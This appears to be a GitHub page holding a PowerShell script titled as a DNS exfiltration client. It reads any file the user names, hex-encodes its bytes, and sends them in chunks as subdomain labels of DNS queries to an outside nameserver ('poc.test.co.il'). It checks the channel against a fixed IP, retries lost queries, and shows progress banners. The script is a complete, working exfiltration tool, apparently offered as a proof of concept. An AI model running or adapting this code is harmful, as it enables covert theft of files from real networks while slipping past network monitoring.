-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdns_exfiltrator_client.ps1
195 lines (149 loc) · 8.79 KB
/
dns_exfiltrator_client.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
cls
$folder = Read-Host -Prompt ‘Folder path [C:\Users\test\Downloads]’
$file = Read-Host -Prompt ‘File [test.jpg]’
$start_time = Get-Date
$random = Get-Random -Minimum 1000 -Maximum 1999
$dns_ns = "poc.test.co.il"
$test_dns = "test.$dns_ns"
cls
Write-Progress -Activity " Completed: 0%" -Status "Pre-proccessing file: $file" -CurrentOperation "Please Wait..."
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host " ██▄▄▄█████▓▄▄▄ ▓██ ██▓ ██████ ██░ ██ ▄▄▄ ██▀███ ▒█████ ███▄ █ ██▓" -ForegroundColor Blue
Write-Host "▓██▓ ██▒ ▓▒████▄ ▒██ ██▒ ▒██ ▒▓██░ ██▒████▄ ▓██ ▒ ██▒██▒ ██▒██ ▀█ █▓██▒" -ForegroundColor Blue
Write-Host "▒██▒ ▓██░ ▒▒██ ▀█▄ ▒██ ██░ ░ ▓██▄ ▒██▀▀██▒██ ▀█▄ ▓██ ░▄█ ▒██░ ██▓██ ▀█ ██▒██▒" -ForegroundColor Blue
Write-Host "░██░ ▓██▓ ░░██▄▄▄▄██ ░ ▐██▓░ ▒ ██░▓█ ░██░██▄▄▄▄██▒██▀▀█▄ ▒██ ██▓██▒ ▐▌██░██░" -ForegroundColor Blue
Write-Host "░██░ ▒██▒ ░ ▓█ ▓██▒░ ██▒▓░ ▒██████▒░▓█▒░██▓▓█ ▓██░██▓ ▒██░ ████▓▒▒██░ ▓██░██░" -ForegroundColor Blue
Write-Host "░▓ ▒ ░░ ▒▒ ▓▒█░ ██▒▒▒ ▒ ▒▓▒ ▒ ░▒ ░░▒░▒▒▒ ▓▒█░ ▒▓ ░▒▓░ ▒░▒░▒░░ ▒░ ▒ ▒░▓ " -ForegroundColor Blue
Write-Host " ▒ ░ ░ ▒ ▒▒ ▓██ ░▒░ ░ ░▒ ░ ░▒ ░▒░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒░░ ░░ ░ ▒░▒ ░" -ForegroundColor Blue
Write-Host " ▒ ░ ░ ░ ▒ ▒ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ▒ ░░ ░░ ░ ░ ▒ ░ ░ ░ ▒ ░" -ForegroundColor Blue
Write-Host " ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " -ForegroundColor Blue
Write-Host " ░ ░ " -ForegroundColor Blue
$verify_ip = (Resolve-DnsName -Name $test_dns -DnsOnly).IPAddress
if ($verify_ip -ne "8.8.9.9") {
Write-Host "*ERROR*: DNS Server Returned wrong value, Exiting" -ForegroundColor Red
exit
}
if ($file -match ' ') {
$file_new = $file -replace ' ', '_'
} else {
$file_new = $file
}
$bytes = [System.IO.File]::ReadAllBytes("$folder$file")
$total = $bytes.Count
$size = (Get-Item "$folder$file").Length
if ($size -gt 1048576) {
$size = [Math]::Round($size / 1048576, 2)
$size = "$size MB"
} else {
$size = [Math]::Round($size / 1024, 2)
$size = "$size KB"
}
$numericalValues = [int[]] $bytes
$hexValues = $numericalValues | ForEach-Object {
[Convert]::ToString($_, 16)
}
$numericalValues = $hexValues
cls
$current = 0
$i = 0
$batch = @()
$total = 0
$total = $numericalValues.Count
$current = 0
$errorCount = 0
$errorCount2 = 0
Resolve-DnsName -Name "$random-00000000-$file_new-.$dns_ns" -Type A > $null
$startTime = Get-Date
$currentNumber = 0
$batch = @()
$total = $numericalValues.Count
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host ""
Write-Host "██████ ███ ██ ███████ ███████ ██ ██ ███████ ██ ██ ████████ ██████ █████ ████████ ██ ██████ ███ ██ " -ForegroundColor Red
Write-Host "██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ " -ForegroundColor Red
Write-Host "██ ██ ██ ██ ██ ███████ █████ ███ █████ ██ ██ ██ ██████ ███████ ██ ██ ██ ██ ██ ██ ██ " -ForegroundColor Red
Write-Host "██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ " -ForegroundColor Red
Write-Host "██████ ██ ████ ███████ ███████ ██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ████ " -ForegroundColor Red
Write-Host " " -ForegroundColor Red
Write-Host "*INFO* File: $file Size: $size Random_server_name: $random DNS_Server: $dns_ns" -BackgroundColor Gray -ForegroundColor Black
Write-Host ""
if ($file -ne $file_new) {
Write-Warning "The file name has been changed to: $file_new"
}
if ($total -gt 99999999) {
Write-Host "*ERROR*: File size exceeds 99999999 DNS requests, Exiting." -ForegroundColor Red
exit
}
foreach ($value in $numericalValues) {
$i++
$current++
$batch += $value
$elapsedTime = (Get-Date) - $startTime
$elapsedTimeString = "{0:D2}:{1:D2}:{2:D2}" -f [int]$elapsedTime.TotalHours, $elapsedTime.Minutes, $elapsedTime.Seconds
$average = $elapsedTime.TotalMinutes / $current
$remainingTime = [math]::Round(($average * ($total - $current)),0)
if ($remainingTime -eq 0) {
$remainingTime = "less than 1 minute"
}
elseif ($remainingTime -gt 59) {
$remainingTime = "{0:F1}" -f ($remainingTime / 60)
$remainingTime = "$remainingTime hour(s)"
}
else {
$remainingTime = "$remainingTime minute(s)"
}
#Calculating the percent completed
$percentCompleted = [Math]::Round(($current / $total) * 100, 0)
# transfer speed calculation
$currentTransferSpeed = ($current * 16) / ($elapsedTime.TotalSeconds)
$currentTransferSpeed = "{0:N2}" -f ($currentTransferSpeed/1024)
Write-Progress -Activity " Completed: $percentCompleted%" -Status "Sending Query $current of $total, elapsed time: $elapsedTimeString, remaining time: $remainingTime, transfer speed: $currentTransferSpeed Kbps" -PercentComplete $percentCompleted
if ($batch.Count -eq 16 -or $i -eq $numericalValues.Count) {
$currentNumber++
$name = "{0:D8}-{1}" -f $currentNumber, ($batch -join '-')
Start-Sleep -Milliseconds 50
$queryResult = Resolve-DnsName -Name "$random-$name-.$dns_ns" -Type A -DnsOnly 2>$1
if (!$queryResult) {
$errorCount++
Write-Warning "Network Error, DNS request: $currentNumber might lost!!, sending same rquest again just in case."
Start-Sleep -Seconds 20
$queryResult2 = Resolve-DnsName -Name "$random-$name-.$dns_ns" -Type A -DnsOnly 2>$1
if (!$queryResult2) {
$errorCount2++
Write-Warning "Network Error, DNS request: $currentNumber might lost!!, sending same rquest again just in case (second attempt)."
#Write-Host "*ERROR*: Network Error, DNS request: $currentNumber was lost!!, stoping execution." -ForegroundColor Red
#Write-Host "Network Errors, packets might lost: $errorCount" -BackgroundColor Red -ForegroundColor White
Start-Sleep -Seconds 300
$queryResult3 = Resolve-DnsName -Name "$random-$name-.$dns_ns" -Type A -DnsOnly 2>$1
if (!$queryResult3) {
Write-Host "*ERROR*: Network Error, DNS request: $currentNumber was lost!!, stoping execution." -ForegroundColor Red
Write-Host "Network Errors, packets might lost: $errorCount" -BackgroundColor Red -ForegroundColor White
exit
}
}
}
$batch = @()
}
}
$end_time = Get-Date
$totaltime = New-TimeSpan -Start $start_time -End $end_time
$executionTimeInMinutes = [Math]::Round($totaltime.TotalMinutes, 2)
$fast_slow = "slow"
if ($executionTimeInMinutes -le 1) {
$fast_slow = "fast"
}
Write-Host "File: $file Sent successfuly with random name of: $random, it was super $fast_slow and took $elapsedTimeString minutes avg speed: $currentTransferSpeed" -BackgroundColor Green -ForegroundColor Black